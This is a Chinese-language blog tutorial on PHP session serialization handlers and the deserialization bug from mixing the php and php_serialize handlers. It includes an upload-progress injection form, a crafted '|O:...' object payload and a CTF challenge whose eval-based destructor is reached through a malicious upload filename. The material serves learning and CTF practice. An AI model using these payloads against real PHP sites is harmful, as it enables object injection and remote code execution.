PHP session反序列化漏洞

什么是 php session

谈 PHP session之前,必须要知道什么是session,那么到底什么是session呢?

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论 PHP session 机制。

PHP session 可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie 的主要区别,所以seesion 的安全性相对较高。

PHP Session 的工作流程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookies、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存。

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden 字段中,但这需要将php.ini中的session.usetranssid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,PHP 就会将会话中的数据设置到 $SESSION 变量中,如下述代码就是一个在 $SESSION 变量中注册变量的例子:

<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.savehandler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.savepath 所指定的位置。

PHP session 在 php.ini 中的配置

  • session.save_path=””

该配置主要设置session的存储路径

  • session.save_handler=””

该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.name

指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

  • session.serialize_handler

定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

  • session.upload_progress.enabled

启用上传进度跟踪,并填充$ _SESSION变量, 默认启用

PHP session 的存储机制

PHP session的存储机制是由session.serialize_handler 来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID,如下图所示:

文件的内容始终是session值的序列化之后的内容

session.serialize_handler 定义的引擎有三种.自 PHP 5.5.4 起可以使用 php_serialize.

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:session|s:7:”xianzhi”;

session 为$_SESSION[‘session’]的键名,|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,所以最终的结果如下图所示:

序列化的结果为:#sessionsessionsessionsessionsessions:7:”xianzhi”;

‘#’为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:”xianzhi”;为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serializehandler等于 phpserialize时候的序列化结果,同理,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:7:”session”;s:7:”xianzhi”;}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

php bug

session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。session.upload_progress.cleanup关闭。可以极大提高漏洞的利用成功率。

<form action="10.10.10.148/1.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="stao" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

/

upload_progress_stao|a:5:{s:10:"start_time";i:1580231182;s:14:"content_length";i:340;s:15:"bytes_processed";i:340;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"admin.jpg";s:8:"tmp_name";N;s:5:"error";i:6;s:4:"done";b:1;s:10:"start_time";i:1580231182;s:15:"bytes_processed";i:0;}}}

$SESSION中的键值就会为$SESSION[“upload_progress_stao”]

session 反序列化漏洞

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

举个例子:

定义一个session.php文件,用于传入 session值,文件内容如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

存在另一个class.php 文件,内容如下:

<?php
    error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
    class XianZhi{
    public $name = 'stao';
    function __wakeup(){
    echo "Who are you?";
    }
    function __destruct(){
    echo '<br>'.$this->name;
    }
}

 ?>

这两个文件的作用很清晰,session.php文件的处理器是php_serialize,class.php文件的处理器是php,session.php文件的作用是传入可控的 session 值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用 php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

往session.php传入 |O:7:”XianZhi”:1:{s:4:”name”;s:7:”xianzhi”;} 此时session文件的内容为:

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

然后访问class.php,反序列化成功

CTF

通过这道题可以更好的理解这个漏洞。

题目:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

查看phpinfo,发现session.serialize_handler的Local Value为php,Master Value为php_serialize,而且session.upload_progress.cleanup=off,session.upload_progress.enabled=on

所以根据上文所描述的,构造表单上传文件,然后抓包修改文件名,将文件名修改为|+序列化后的值。

为防止转义,在引号前加上\。如果修改PHPSESSIONUPLOAD_PROGRESS的值,则引号前不用加\。

参考文章

https://www.cnpanda.net/sec/580.html#menuindex1

留下评论

粤ICP备20010650号